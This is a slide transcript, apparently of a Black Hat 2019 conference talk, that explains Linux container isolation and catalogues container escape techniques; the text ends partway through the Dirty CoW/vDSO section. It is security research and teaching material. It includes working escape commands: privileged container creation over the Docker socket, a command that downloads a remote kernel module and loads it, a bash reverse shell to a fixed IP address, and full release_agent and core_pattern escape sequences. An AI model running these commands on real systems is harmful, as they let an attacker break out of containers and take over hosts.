a compendium of container escapes...container basics a task, or set of tasks, with special...

132
A Compendium of Container Escapes Brandon Edwards & Nick Freeman BLACK HAT USA 2019

Upload: others

Post on 26-Sep-2020

12 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

A Compendium

of Container

Escapes

Brandon Edwards & Nick Freeman

BLACK HAT USA 2019

Page 2: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Scope

Page 3: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Prologue: Container Basics

Part I: Escape via Weakness in Deployment

Part II: Vulnerabilities in Container Engines

Part III: Kernel Exploitation

Page 4: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Prologue: Container Basics

Page 5: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Container != VM

Container Basics

Page 6: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Container Basics

A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources.

PID 2

PID 1

PID 3

Container

Page 7: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

int pid

nsproxy *nsproxy

css_set *cgroups

…lots of fields...

task_struct *parent

volatile long state

task_struct

int tgid

fs_struct *fs

void *stack

cred *cred

The kernel refers to processes (and threads) as tasks

The kernel manages tasks using the task_struct

Everything the kernel knows about a task is inside or reachable via the task_struct

char comm[TASK_COMM_LEN]

...many more fields...

Page 8: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

int pid 1

nsproxy *nsproxy

css_set *cgroups

…lots of fields...

task_struct *parent

volatile long state

task_struct

int tgid 1

fs_struct *fs

void *stack

cred *cred

char comm “systemd”

...many more fields...

user@host:~$ cat /proc/1/comm

systemd

/proc is a special

filesystem mount (procfs) for accessing system and process information directly from the kernel by reading “file” entries

Page 9: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

PID of process

int pid 1

nsproxy *nsproxy

css_set *cgroups

…lots of fields...

task_struct *parent

volatile long state

task_struct

int tgid 1

fs_struct *fs

void *stack

cred *cred

char comm “systemd”

...many more fields...

user@host:~$ cat /proc/1/comm

systemd

/proc is a special

filesystem mount (procfs) for accessing system and process information directly from the kernel by reading “file” entries

Page 10: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

PID of process

int pid 1

nsproxy *nsproxy

css_set *cgroups

…lots of fields...

task_struct *parent

volatile long state

task_struct

int tgid 1

fs_struct *fs

void *stack

cred *cred

char comm “systemd”

...many more fields...Information being queried

/proc is a special

filesystem mount (procfs) for accessing system and process information directly from the kernel by reading “file” entries

user@host:~$ cat /proc/1/comm

systemd

Page 11: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Result from kernel

int pid 1

nsproxy *nsproxy

css_set *cgroups

…lots of fields...

task_struct *parent

volatile long state

task_struct

int tgid 1

fs_struct *fs

void *stack

cred *cred

char comm “systemd”

...many more fields...

/proc is a special

filesystem mount (procfs) for accessing system and process information directly from the kernel by reading “file” entries

user@host:~$ cat /proc/1/comm

systemd

Page 12: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Container Basics

A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources.

PID 2

PID 1

PID 3

Container

Page 13: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Container properties- Credentials - Capabilities- Filesystem- Namespaces- Cgroups- LSMs- seccomp

Container Basics

Page 14: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Credentials describe the user identity of a task, which determine its permissions for shared resources such as files, semaphores, and shared memory.

See man page credentials(7)

Credentials

The Linux Programming Interface, Kerrisk No Starch Press 2010

Page 15: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

The Linux Programming Interface, Kerrisk No Starch Press 2010

Seal of Lilith, Sun of Great Knowledge, 1225

Credentials

Page 16: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

The Linux Programming Interface, Kerrisk No Starch Press 2010

Seal of Lilith, Sun of Great Knowledge, 1225

Credentials

Page 17: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Traditional UNIX implementations of permissions distinguish two categories: privileged processes with user ID of 0 (root), and every other process.

Page 18: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Capabilities

Since kernel 2.2, Linux divides the privileges associated with superuser into distinct units known as capabilities.

Page 19: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

CAP_KILLCAP_CHOWNCAP_MKNODCAP_SETUIDCAP_SETGIDCAP_SYSLOGCAP_FOWNERCAP_FSETID

CAP_SYS_BOOTCAP_SYS_TIMECAP_SYS_PACCTCAP_SYS_RAWIOCAP_SYS_ADMINCAP_SYS_CHROOTCAP_SYS_MODULECAP_SYS_PTRACE

CAP_SYS_RESOURCECAP_DAC_OVERRIDECAP_MAC_ADMINCAP_MAC_OVERRIDECAP_NET_ADMINCAP_NET_BIND_SERVICECAP_NET_BROADCASTCAP_NET_RAW

Capabilities

These provide vastly more granular control over the task’s permissions for privileged operations

Page 20: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

CAP_KILLCAP_CHOWNCAP_MKNODCAP_SETUIDCAP_SETGIDCAP_SYSLOGCAP_FOWNERCAP_FSETID

CAP_SYS_BOOTCAP_SYS_TIMECAP_SYS_PACCTCAP_SYS_RAWIOCAP_SYS_ADMINCAP_SYS_CHROOTCAP_SYS_MODULECAP_SYS_PTRACE

CAP_SYS_RESOURCECAP_DAC_OVERRIDECAP_MAC_ADMINCAP_MAC_OVERRIDECAP_NET_ADMINCAP_NET_BIND_SERVICECAP_NET_BROADCASTCAP_NET_RAW

Capabilities

Containers are tasks which run should run with a restricted set of capabilities; there are consistency issues across runtimes/versions

Page 21: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

The filesystem rootfor a container is (usually) isolated from other containers and host’s root filesystem via thepivot_root() syscall

Filesystem Root

Page 22: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

The container’s root mount is often planted in a container-specialized filesystem, such as AUFSor OverlayFS

Filesystem Root

/var/lib/docker/overlay2/..hash../diff

Page 23: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

user@host:~$ docker run -it --name showfs ubuntu /bin/bash

root@df65b429b317:/#

root@df65b429b317:/# echo "hello" > /file.txt

user@host:~$ docker inspect showfs | grep UpperDir

"UpperDir":"/var/lib/docker/overlay2/4119168db2bbaeec3db0919

b312983b2b49f93790453c532eeeea94c42e336b9/diff",

user@host:~$ cat /var/lib/docker/overlay2/4119168db2bbaeec3d

b0919b312983b2b49f93790453c532eeeea94c42e336b9/diff/file.txt

hello

TL;DR is that the container’s root of “/” really lives in /var/lib/docker/overlay2

Filesystem Root

Page 24: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Filesystem Root

This detail becomes important later on

TL;DR is that the container’s root of “/” really lives in /var/lib/docker/overlay2

Page 25: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

setns()

unshare()

Namespaces

Page 26: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Namespaces (PID)

PID 2

PID 1

PID 3

Container Namespace

PID 16823

PID 16822

PID 16824

Host Namespace

Page 27: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Container

User namespaces isolate security-related identifiers and attributes like credentials and capabilities.

Namespaces (user)

UID 1048579

UID 1048612

Host

UID(33)www-data

UID(0) root

Page 28: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

PID namespaces have their own view of tasksUser namespaces wrap mapping of UID to userMount namespaces isolate mount pointsNet namespaces isolate the networking envUTS namespaces isolate their hostnameIPC namespaces restrict SysV IPC objectsCgroup namespaces isolate the view of cgroups

Namespaces

Page 29: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

CGroups

CGroups organize processes into hierarchical groups whose usage of various types of system resources can be limited and monitored.

fork() depthCPU time block devices

Page 30: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup

cgroup on /sys/fs/cgroup/devices type cgroup

cgroup on /sys/fs/cgroup/pids type cgroup

cgroup on /sys/fs/cgroup/memory

cgroup on /sys/fs/cgroup/rdma

cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup

cgroup on /sys/fs/cgroup/cpuset

CGroups

CGroups are implemented as special file system mounts, where hierarchy is expressed through the directory tree in each mount.

Page 31: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

cgroup.procs

CGroups

Page 32: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

AppArmor and SELinux are Linux security modules providing Mandatory Access Control (MAC), where access rules for a program are described by a profile

Linux Security Modules

Page 33: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Docker and LXC enable a default LSM profile in enforcement mode, which mostly serves to restrict a container’s access to sensitive /procand /sys entries.

The profile also denies mount syscall.

Linux Security Modules

Page 34: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

seccomp

Since kernel 3.17, Linux has a mechanism for filtering access to system calls through the seccomp subsystem

Page 35: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

seccompkexec_file_loadkexec_loadmembarriermigrate_pagesmove_pagesnicepivot_rootsigaction

sigpendingsigprocmasksigsuspend_sysctlsysfsuselibuserfault_fdvm86

Docker’s default seccomp policy at a glance

Blocked (SCMP_ACT_ERRNO) Requires CAP_SYS_ADMIN

bpfclonefanotify_initmountperf_event_opensetnsumountunshare

Page 36: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

seccompkexec_file_loadkexec_loadmembarriermigrate_pagesmove_pagesnicepivot_rootsigaction

sigpendingsigprocmasksigsuspend_sysctlsysfsuselibuserfault_fdvm86

For a better example of reduced attack surface, checkout @jessfraz http://contained.af

Blocked (SCMP_ACT_ERRNO) Requires CAP_SYS_ADMIN

bpfclonefanotify_initmountperf_event_opensetnsumountunshare

Page 37: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

seccompkexec_file_loadkexec_loadmembarriermigrate_pagesmove_pagesnicepivot_rootsigaction

sigpendingsigprocmasksigsuspend_sysctlsysfsuselibuserfault_fdvm86

Blocked (SCMP_ACT_ERRNO) Requires CAP_SYS_ADMIN

bpfclonefanotify_initmountperf_event_opensetnsumountunshare

Page 38: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

What you think you can do What you can actually do Where you can do it

Capabilities LSM

seccomp

User NS

cgroups

nsproxy

Credentials

Container Security Model

User NS

cgroups

Page 39: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Part I: Escape via Weakness in Deployment

Page 40: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Bad idea #1: Exposed Docker Socket

The docker socket is what you talk to whenever you run a Docker command. You can also access it with curl:

$ curl --unix-socket $SOCKETPATH -d '{"Image":"evil", "Privileged":"true"}'

-H 'Content-Type: application/json' 0/containers/create

{"Id":"22093d29e3c35e52d1d1dd0e3540e0792d4b5e6dc1847e69a0e5bdcd2d3d9982","W

arnings":null}

$ curl -XPOST --unix-socket $SOCKETPATH 0/containers/22093..9982/start

$ # :)

Page 41: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Running a Docker container with --privileged removes

most of the isolation provided by containers.

$ curl -O exploit.delivery/bad.ko && insmod bad.ko

Bad idea #2: --privileged container

Page 42: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Privilegedcontainerscan also register usermodeprogram helpers

Bad idea #2: --privileged container

Page 43: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Segue: Usermode Helper Programs

call_usermodehelper_exec()

Page 44: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Usermode Helper Programs

Container

Kernelhelper_program= “”

Page 45: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Usermode Helper Programs

1. get overlay path from /etc/mtab “upperdir”

Container

Kernelhelper_program= “”

Page 46: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Usermode Helper Programs

1. get overlay path from /etc/mtab “upperdir”

/var/lib/docker/overlay2/..hash../diff

Container

Kernelhelper_program= “”

Page 47: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Usermode Helper Programs

1. get overlay path from /etc/mtab “upperdir”2. set payloadPath=$overlay/payload

Container

Kernelhelper_program= “”

Page 48: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Usermode Helper Programs

1. get overlay path from /etc/mtab “upperdir”2. set payloadPath=$overlay/payload

/var/lib/docker/overlay2/..hash../diff/payload

Container

Kernelhelper_program= “”

Page 49: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Usermode Helper Programs

1. get overlay path from /etc/mtab “upperdir”2. set payloadPath=$overlay/payload3. mount /special/fs

Container

Kernelhelper_program= “”

Page 50: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Usermode Helper Programs

1. get overlay path from /etc/mtab “upperdir”2. set payloadPath=$overlay/payload3. mount /special/fs4.echo $payloadPath > /special/fs/callback

Container

Kernelhelper_program= “”

Page 51: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Usermode Helper Programs

1. get overlay path from /etc/mtab “upperdir”2. set payloadPath=$overlay/payload3. mount /special/fs4.echo $payloadPath > /special/fs/callback

Container

Kernelhelper_program=

“/var/lib/docker/overlay2/..hash../diff/payload”

Page 52: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Usermode Helper Programs

1. get overlay path from /etc/mtab “upperdir”2. set payloadPath=$overlay/payload3. mount /special/fs4.echo $payloadPath > /special/fs/callback

5. trigger or wait for event

Container

Kernelhelper_program=

“/var/lib/docker/overlay2/..hash../diff/payload”

Page 53: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Usermode Helper Programs

1. get overlay path from /etc/mtab “upperdir”2. set payloadPath=$overlay/payload3. mount /special/fs4.echo $payloadPath > /special/fs/callback

5. trigger or wait for event

Container

Kernelhelper_program=

“/var/lib/docker/overlay2/..hash../diff/payload”

[kthreadd]exec /var/lib/docker/overlay2/..hash../diff/payload

Page 54: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Usermode Helper Programs

1. get overlay path from /etc/mtab “upperdir”2. set payloadPath=$overlay/payload3. mount /special/fs4.echo $payloadPath > /special/fs/callback

5. trigger or wait for event

Container

Kernelhelper_program=

“/var/lib/docker/overlay2/..hash../diff/payload”

[kthreadd]exec /var/lib/docker/overlay2/..hash../diff/payload

Page 55: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

1. Finds + enables a cgroup release_agent2. Enables notify_on_release in the cgroup3. Finds path of OverlayFS mount for container4. Sets release_agent to /path/payload5. Payload redirects output to file in /path6. Triggers the cgroup via empty cgroup.procs

@_fel1x release_agent Escape

Page 56: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

OverlayFS

overlay=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

Thanks @_fel1x

Page 57: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Payload Exampleroot@85c050f5:/# cat /shell.sh

#!/bin/bash

/bin/bash -c "/bin/bash -i >& /dev/tcp/172.17.0.2/9001 0>&1"

Page 58: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

release_agent escape

root@85c050f5:/# mkdir /tmp/esc

root@85c050f5:/# mount -t cgroup -o rdma cgroup /tmp/esc

root@85c050f5:/# mkdir /tmp/esc/w

root@85c050f5:/# echo 1 > /tmp/esc/w/notify_on_release

root@85c050f5:/# pop=”$overlay/shell.sh”

root@85c050f5:/# echo $pop > /tmp/esc/release_agent

root@85c050f5:/# sleep 5 && echo 0>/tmp/esc/w/cgroup.procs &

root@85c050f5:/# nc -l -p 9001

bash: cannot set terminal process group (-1): Inappropriate

ioctl for device

bash: no job control in this shell

root@ubuntu:/#

Page 59: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

- release_agent

- core_pattern

- binfmt_misc

- uevent_helper

- modprobe

Usermode Helper Programs

Page 60: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

- release_agent

- core_pattern

- binfmt_misc

- uevent_helper

- modprobe

Usermode Helper Programs

Page 61: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Bad idea #3: Excessive Capabilities

CAP_SYS_MODULE // load a kernel moduleCAP_SYS_RAWIO // access /proc/kcore, map NULLCAP_SYS_ADMIN // "true root" - mount, debugfs, more

… --privileged allows all of the above.

Page 62: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Access to the underlying host’s /procmount

is a bad idea

docker run -v /proc:/host/proc

Bad idea #4: Sensitive mounts

Page 63: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Access to the underlying host’s /procmount

is a bad idea

/host/proc/ is not protected by AppArmor

Bad idea #4: Sensitive mounts

Page 64: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Bad idea #4: Sensitive mounts

Access to the underlying host’s /procmount

is a bad idea

/host/proc/sys/kernel/core_pattern

Page 65: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Bad idea #4: Sensitive mounts

Access to the underlying host’s /procmount

is a bad idea

/host/proc/sys/kernel/core_pattern

Page 66: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

core_pattern escape

root@85c050f5:/# cd /proc/sys/kernel

root@85c050f5:/# echo “|$overlay/shell.sh” > core_pattern

root@85c050f5:/# sleep 5 && ./crash &

root@85c050f5:/# nc -l -p 9001

bash: cannot set terminal process group (-1): Inappropriate

ioctl for device

bash: no job control in this shell

root@ubuntu:/#

Page 67: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Part II: Vulnerabilities in Container Engines

Page 68: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Docker Vulnerabilities

Page 69: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Docker Vulnerabilities

CVE-2015-3630CVE-2015-3631

Weak /proc permissions

CVE-2015-3627CVE-2016-9662

CVE-2019-15664

Host FD leakage

CVE-2015-3627CVE-2015-3629

CVE-2019-15664

Symlinks

Page 70: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Docker Vulnerabilities

CVE-2015-3630CVE-2015-3631

Weak /proc permissions

CVE-2015-3627CVE-2016-9662

CVE-2019-15664

Host FD leakage

CVE-2015-3627CVE-2015-3629

CVE-2019-15664

Symlinks

Page 71: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Docker Vulnerabilities

CVE-2015-3630CVE-2015-3631

Weak /proc permissions

CVE-2015-3627CVE-2016-9662

CVE-2019-15664

Host FD leakage

CVE-2015-3627CVE-2015-3629

CVE-2019-15664

Symlinks

Page 72: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

RunC Vulnerability (CVE-2019-5736)

Page 73: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

RunC Vulnerability (CVE-2019-5736)

Page 74: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

CONTAINERPID 1

/proc/self/exe

exec(ENTRYPOINT)

containerd > containerd-shim > runc

Here, ENTRYPOINT is java -jar ...., with java being in that container

Regular Container Startup

Drop privileges, capabilities, apply seccomp, make/apply namespaces

Page 75: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Regular Container Startup - Complete

CONTAINERPID 1

java -jar ….

After exec, pswould output containerd > containerd-shim > java

Drop privileges, capabilities, apply seccomp, make/apply namespaces

containerd > containerd-shim > runc

/proc/self/exe

exec(ENTRYPOINT)

Page 76: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

CONTAINERPID 1

The RunC Escape (CVE-2019-5736)

runc

But if ENTRYPOINT is /proc/self/exe, it runs runc from the host

Drop privileges, capabilities, apply seccomp, make/apply namespaces

containerd > containerd-shim > runc

/proc/self/exe

exec(ENTRYPOINT)

Page 77: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

CONTAINERPID 1

The RunC Escape (CVE-2019-5736)

An evil process/library in the container can get a reference to runc on the host

runc

libapparmor1

I'm taking the FD to runc,

kthx

FD

Drop privileges, capabilities, apply seccomp, make/apply namespaces

containerd > containerd-shim > runc

/proc/self/exe

exec(ENTRYPOINT)

Page 78: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

CVE-2019-5736 Detail

CONTAINER PID 1

/proc/self/exe

exec(ENTRYPOINT)

runc

Library execs another program, which writes to the host FD. From now on:

libapparmor1

PID 2

exec(/evil)

/evil

containerd > containerd-shim > runc

FD

FD

Page 79: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

rktVulnerabilities

Page 80: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

rkt - CVE-2019-10144/10145/10457

CONTAINERPID 1

/proc/self/exe

exec(ENTRYPOINT)

rkt enter

Drop privileges, capabilities, apply seccomp, make/apply namespaces

Page 81: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

rkt - CVE-2019-10144/10145/10457

Drop privileges, capabilities, apply seccomp, make/apply namespaces

CONTAINERPID 1

exec(ENTRYPOINT)

rkt enter

/proc/self/exe

Page 82: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

rkt - CVE-2019-10144/10145/10457

rkt enter - like docker exec, but without key isolation measures

● No seccomp filtering (just like Kubernetes!)● No cgroup isolation

● No capability restriction

More or less the same as a --privileged docker container

Page 83: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Part III: Kernel Exploitation

Page 84: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Kernel Exploitation

The security model of containers is predicated on kernel integrity

Page 85: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

Dirty CoW (CVE-2016-5195)

write memory

file mappingPID 31337

Page 86: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

file mappingPID 31337

write memory

Dirty CoW (CVE-2016-5195)

Copy-on-Write mapping

Page 87: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

file mappingPID 31337

Copy-on-Write mapping

write memory

Dirty CoW (CVE-2016-5195)

Page 88: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

PID 31337 file mapping

write memory

Dirty CoW (CVE-2016-5195)

Page 89: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

vDSO<__vdso_time>:

<+0>: push rbp

<+1>: test rdi,rdi

<+4>: mov rax,QWORD PTR [rip+0xffffffffffffc18d]

<+11>: mov rbp,rsp

<+14>: je <time+19>

<+16>: mov QWORD PTR [rdi],rax

<+19>: pop rbp

<+20>: ret

The virtual dynamic shared object is a special mapping shared from the kernel with userland

Page 90: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

vDSO

vDSO

PID 1337

Container

PID 55551

Hosty McHostTas

k

Page 91: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

vDSO

vDSO

PID 1337

Container

PID 55551

Hosty McHostTas

k

Page 92: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

vDSO

vDSO

PID 1337

Container

PID 55551

Hosty McHostTas

k

Page 93: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

vDSO

vDSO

PID 1337

Container

PID 55551

Hosty McHostTas

k

Page 94: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

vDSO

vDSO

PID 1337

Container

PID 55551

Hosty McHostTas

k

BONUS FEATURES

Page 95: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

vDSO

vDSO

PID 1337

Container

PID 55551

Hosty McHostTas

k

BONUS FEATURES

Page 96: A Compendium of Container Escapes...Container Basics A task, or set of tasks, with special properties to isolate the task(s), and restrict access to system resources. PID 2 PID 1 PID

vDSO

vDSO

